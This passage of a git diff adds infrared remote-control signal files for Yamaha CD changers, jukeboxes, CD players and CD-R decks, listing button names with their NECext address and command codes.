00 +# +name: STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 57 00 00 00 +# +name: RANDOM_NORMAL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 79 00 00 00 +# +name: RANDOM_ON +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7A 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7C 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir new file mode 100644 index 000000000..11573b2bc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: STOP/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir new file mode 100644 index 000000000..a8583391e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: D-MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: TIME_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: OUTPUT_LEVEL_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_LEVEL_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: FILE_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1F 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 20 00 00 00 +# +name: TEXT_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2B 00 00 00 +# +name: TEXT_SEARCH +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2C 00 00 00 +# +name: CAPS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2D 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 3F 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: +1_DISC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 51 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: ALL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5B 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 60 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 61 00 00 00 +# +name: GROUP_A +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 62 00 00 00 +# +name: GROUP_B +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 63 00 00 00 +# +name: GROUP_C +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 64 00 00 00 +# +name: GROUP_D +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 65 00 00 00 +# +name: GROUP_E +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 66 00 00 00 +# +name: FILE_EDIT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 67 00 00 00 +# +name: GROUP_EDIT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir new file mode 100644 index 000000000..fcb65c733 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir new file mode 100644 index 000000000..f860c5ede --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir @@ -0,0 +1,1022 @@ +Filetype: IR signals file +Version: 1 +# +name: DISC_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: D-MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: CHANGER_MODE_TOG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: PLAY/PAUSE_TOG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 03 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: <<_SKIP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SCAN_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: <<_SEARCH +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SCAN_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: REPEAT_-_TOGGLE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: REPEAT_MODE_TOG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: TEXT/TIME +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: TIME_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: TIME_DISPLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: CANCEL/CLEAR +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1B 00 00 00 +# +name: OUTPUT- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_LEVEL_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_LEVEL_DN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: OUTPUT_LEVEL_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: OUTPUT_LEVEL_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: OUTPUT_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1E 00 00 00 +# +name: FILE_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1F 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 20 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 21 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 22 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 23 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 24 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 25 00 00 00 +# +name: TEXT_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2B 00 00 00 +# +name: TEXT_SEARCH +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2C 00 00 00 +# +name: CAPS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2D 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 2E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 3F 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 41 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 42 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 43 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 44 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 45 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 46 00 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 47 00 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 48 00 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 49 00 00 00 +# +name: 20 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4A 00 00 00 +# +name: 21 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4B 00 00 00 +# +name: 22 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4C 00 00 00 +# +name: 23 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4D 00 00 00 +# +name: 24 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4E 00 00 00 +# +name: DISC_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP_> +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: +_DISC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DSIC_SKIP_+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 4F 00 00 00 +# +name: DISC_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC_SKIP_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC_SKIP_< +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: -_DISC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: <_DISC_SKIP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 50 00 00 00 +# +name: +1_DISC +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 51 00 00 00 +# +name: DISC_SCAN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 53 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 53 00 00 00 +# +name: DISCSCAN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 53 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 54 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 55 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 57 00 00 00 +# +name: SYNCHRO +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 58 00 00 00 +# +name: +20 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 59 00 00 00 +# +name: +30 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5A 00 00 00 +# +name: ALL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5B 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 5D 00 00 00 +# +name: POWER_-_TOGGLE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 60 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 60 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 60 00 00 00 +# +name: POWER_TOG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 60 00 00 00 +# +name: ACTIVE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 61 00 00 00 +# +name: GROUP_A +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 62 00 00 00 +# +name: GROUP_B +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 63 00 00 00 +# +name: GROUP_C +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 64 00 00 00 +# +name: GROUP_D +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 65 00 00 00 +# +name: GROUP_E +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 66 00 00 00 +# +name: FILE_EDIT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 67 00 00 00 +# +name: GROUP_EDIT +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 68 00 00 00 +# +name: FOLDER_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 69 00 00 00 +# +name: FOLDER_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6A 00 00 00 +# +name: PURE_DIRECT_TOG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6E 00 00 00 +# +name: USB/CD_MODE_TOG +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 6F 00 00 00 +# +name: PLAY_-_NORMAL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 79 00 00 00 +# +name: PLAY_MODE_NORMAL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 79 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 79 00 00 00 +# +name: PLAY_-_RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7A 00 00 00 +# +name: PLAY_MODE_RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7A 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7A 00 00 00 +# +name: PLAY_-_PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: PLAY_MODE_PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7B 00 00 00 +# +name: REPEAT_-_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7C 00 00 00 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7C 00 00 00 +# +name: REPEAT_-_ALL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7D 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7D 00 00 00 +# +name: POWER_-_ON +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7E 00 00 00 +# +name: POWER_-_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir new file mode 100644 index 000000000..1606f4578 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: STOP/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: TRACK_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: TRACK_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir new file mode 100644 index 000000000..b2ef28b06 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 81 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 82 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 83 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 84 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 86 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 87 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 88 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 89 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8E 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 8F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 90 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 91 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 92 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 